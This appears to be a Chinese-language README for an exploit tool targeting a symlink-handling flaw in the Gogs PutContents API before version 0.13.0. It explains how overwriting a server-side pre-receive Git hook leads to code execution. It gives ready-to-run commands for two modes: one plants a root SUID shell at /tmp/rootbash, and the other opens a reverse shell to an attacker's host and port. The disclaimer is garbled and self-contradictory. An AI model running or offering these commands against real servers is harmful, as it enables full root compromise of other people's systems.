
Gogs中PutContents API对符号链接处理不当,导致本地代码执行。
Gogs中PutContents API对符号链接处理不当,导致本地代码执行。
本仓库包含针对Gogs 0.13.0之前版本中一个严重漏洞的专业级利用程序。该利用程序利用了一个逻辑缺陷:Gogs API在更新仓库内容时未能验证文件类型。通过注入指向服务器端Git钩子(pre-receive)的符号链接,认证用户可以恶意脚本覆盖钩子的内容。随后的Git推送操作将触发该脚本在运行Gogs服务的用户(通常是root)上下文中执行。
符号链接注入:攻击者推送指向内部仓库钩子(例如 /root/gogs-repositories//.git/hooks/pre-receive)的符号链接。
API覆盖:Gogs API允许更新符号链接的内容。由于操作系统在写操作期间跟随链接,内部Git钩子被覆盖。
RCE/权限提升:后续的Git推送触发pre-receive钩子。如果Gogs配置了 RUN_USER = root,攻击者将获得完全的系统控制。
需求
python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode suid
完成后,在目标上获取root访问权限:
/tmp/rootbash -p
python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode rev --lhost <your_ip> --lport 4444
此工具仅用于教育目的和授权的安全审计。作者不对该工具在您拥有或明确许可测试的系统上造成的任何滥用或损坏负责。
| Argument | Required | 描述 |
|---|
--url | 是 | Gogs实例的基础URL(例如 http://127.0.0.1:3001)。 |
--user | 是 | 有效的用户名用于认证。 |
--pass | 是 | 指定用户的有效密码。 |
--mode | 否 | 利用模式:suid(创建 /tmp/rootbash)或 rev(反向Shell)。 |
--lhost | 否 | 反向Shell回调的本地IP地址。 |
--lport | 否 | 反向Shell监听器的本地端口。 |